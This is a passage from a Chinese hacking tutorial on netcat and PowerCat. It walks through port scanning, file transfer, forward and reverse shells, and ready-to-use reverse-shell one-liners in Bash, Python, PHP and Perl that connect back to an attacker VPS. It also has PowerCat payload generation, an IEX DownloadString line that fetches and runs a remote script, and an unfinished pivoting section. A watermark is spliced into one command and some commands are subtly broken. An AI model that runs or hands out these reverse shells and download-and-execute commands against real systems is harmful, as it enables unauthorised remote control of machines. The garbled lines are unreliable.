nc -nv 192.168.123.103 21
(3) 连接远程主机:
通过以下命令连接远程主机。
nc -nvv 192.168.11.135 80
(4) 端口扫描:
使用以下命令扫描指定主机的端口。
nc -v 192.168.11.138 80
或者扫描指定主机的某个端口段(速度较慢)。
nc -v -z 192.168.11.138 20-1024
(5)端口监听:
通过以下命令在本地监听端口,当有访问时会在命令行输出信息。
nc -l -p 9999
(6)文件传输:
在本地VPS主机中输入以下命令,开始监听并等待连接。一旦连接建立,数据将流入。
nc -l -p 333 > 1.txt
在目标主机中输入以下命令,与VPS的333端口建立连接,并传输名为test.txt的文本文件。
nc -vn 192.168.1.4 333 < test.txt -q 1
传输完成后,在VPS中打开1.txt文件,即可查看传输过来的数据。
(7)简易聊天:
在本地VPS主机中输入以下命令,开始监听。
nc -l -p 888
在目标主机中输入以下命令,即可开始简易聊天。
nc -vn 192.168.1.4 888
3、获取 Shell
Shell 分为两种,一种是正向 Shell,另一种是反向 Shell。如果客户端连接服务器,客户端想要获取服务器的 Shell,就称为正向 Shell; 如果客户端连接服务器,服务器想要获取客户端的Shell,就称为反向 Shell。
反向 Shell通常用在开启了防护措施的目标机器上,例如防火墙过滤、端口转发等
(1)正向 Shell
输人如下命令,监听目标主机的 4444 端口,如图 3-38 所示
nc -lvp 4444 -e /bin/sh //Linux``nc -lvp 4444 -e c:\windows\system32\cmd.exe //Windows
输入如下命令,在本地或者 VPS 主机上连接目标主机的 4444端口。查看当前的IP 地址,已经是 192.168.1.11 了
nc 192.168.1.11 4444
现在可以在目标主机上看到 192.168.1.4 正在连接本机
(2)反向 Shell
输入如下命令,在本地或者 VPS 主机上监听本地 9999 端口
nc-lvp 9999在目标主机中输入如下命令,连接 VPS 主机192.168.1.4 的9999端口。
nc 192.168.11.144 9999 -e /bin/sh //Linux``nc 192.168.11.144 9999 -e c:\windows\system32\cmd.exe //Windows
现在就可以在本地或者 VPS 主机上看到连接了。查看当前的IP 地址,已经是 1.1.1.200了
4、在目标主机中没有 nc 时获取反向 Shell
在一般情况下,目标主机中是没有 nc 的。此时,可以使用其他工具和编程语言来代替 nc,实现反向连接。下面介绍几种常见的反向 Shell。
(1)Python 反向 Shell
执行如下命令,在 VPS 上监听本地 2222 端口
nc -lvp 2222
在目标主机上执行如下命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect (("192.168.1.4",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os,dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
查看当前的IP 地址,已经是 11.1.116 了,说明连接已经建立
(2)Bash 反向 Shell
执行如下命令,在 VPS 上监听本地 4444 端口
nc -lvp 4444
在目标主机上执行如下命令
bash -i >& /dev/tcp/192.168.1.4/4444 0>&1
查看当前的 IP 地址,已经是 1.1.1.116 了,说明连接已经建立
(3)PHP 反向 Shell
同样,首先执行如下命令,在 VPS 上监听本地 2222 端口。
nc -lvp 2222
PHP 常用在 Web 服务器上,它是 nc、Perl 和 Bash 的一个很好的替代品。执行如下命令,实现 PHP 环境下的反弹 Shell。
php -r '$sock=fsockopen("192.168.1.4",2222);exec ("/bin/sh -i <&3 >&3 2>&3");'
现在,已经在 VPS 上建立连接了。查看当前的IP 地址,已经是 1.1.1.116 了
(4)Perl 反向 Shell
执行如下命令,在 VPS 上监听本地 4444 端口。
`nc -lvp 4444`
如果此时目标主机使用的是 Perl 语言,仍然可以使用 Perl 来建立反向 Shell。
在目标主机上运行如下命令,会发现 VPS 已经与目标主机建立了连接。查看当前的IP 地址已经是1.1.1.116 了
perl -e 'use Socket;$i="192.168.1.4";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))(open(STDIN,">$S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
PowerCat
PowerCat 可以说是 nc 的 PowerShell 版本。PowerCat 可以通过执行命令回到本地运行,也可以使用远程权限运行
(1)通过nc正向连接 PowerCat
在Windows 7服务器上执行监听命令“powercat -l-p 8080-e cmd.exe -v”,然后在 Kali Linux主机上执行“netcat 192.168.56.130 8080-vv”命令
-l:监听模式,用于入站连接
-P:指定监听端口
-c:指定要启动进程的名称
-v:显示详情
(2)通过nc 反向连接 PowerCat
在Kali Linux 中执行如下命令
netcat -l -p 8888 -vv
在 Windows7 中执行如下命令,-c 参数用于提供想要连接的IP 地址。
powercat -c 192.168.56.129 -p 8888 -v -e cmd.exe
(3)通过 PowerCat 返回 PowerShell:
如果你想要在Windows 7与Windows Server 2008之间建立正向连接并返回PowerShell,可以按照以下步骤进行。在Windows Server 2008 R2中执行如下命令:
IEX (New-Object Net.Webclient).Downloadstring('http://10.10.10.1/powercat.ps1')
在Windows 7中执行如下命令,其中-ep参数用于返回PowerShell:
powercat -c 10.10.10.129 -p 9999 -v -ep
(4)通过 PowerCat 传输文件:
在Windows 7中创建一个名为test.txt的文件,放在C盘根目录下。然后在Windows Server 2008中执行以下命令:
powercat -l -p 9999 -of test.txt -v
返回到Windows 7,执行以下命令将test.txt传输到服务器:
powercat -c 10.10.10.129 -p 9999 -i c:\test.txt -v
即使文件传输完成,连接也不会自动断开。你可以在Windows 7中通过在文件末尾追加内容,或按下“Ctrl+C”键断开连接。
-i: 输入,可以是文件名或字符串,例如 “am test” | powe **作者徽是vip1024c** rcat -c…
-of: 输出文件名,可以附加路径。
(5)用 PowerCat 生成 Payload:
PowerCat生成的Payload可以是正向或反向的,还可以进行编码。尝试生成一个简单的Payload,在Windows 7中执行以下命令:
powercat -l -p 8000 -e cmd -v -g >> shell.ps1
将生成的ps1文件上传到Windows Server 2008并执行,然后在Windows 7中执行以下命令获取一个反弹Shell:
powercat -c 10.10.10.129 -p 8000 -v
如果要反弹PowerShell,可以执行以下命令:
powercat -l -p 8000 -ep -y -g >> shell.ps1
(6) PowerCat DNS 隧道通信:
PowerCat还支持基于DNS通信的隧道。PowerCat的DNS通信基于dnscat设计(其服务端是dnscat)。
(7)将 PowerCat 作为跳板:
在测试环境中,有三台主机,其中Windows 7主机可以通过ping访问Windows Server 2008主机和Kali主机,而Kali主机和Windows Server 2008主机之间无法通过网络连接。为了实现Windows 7主机作为跳板,连接Kali Linux主机和Windows Server 2008主机,执行以下步骤:
在Windows Server 2008中执行:
## 学习路线:
这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
![在这里插入图片描述](https://img-blog.csdnimg.cn/7a04c5d629f1415a9e35662316578e07.png#pic_center)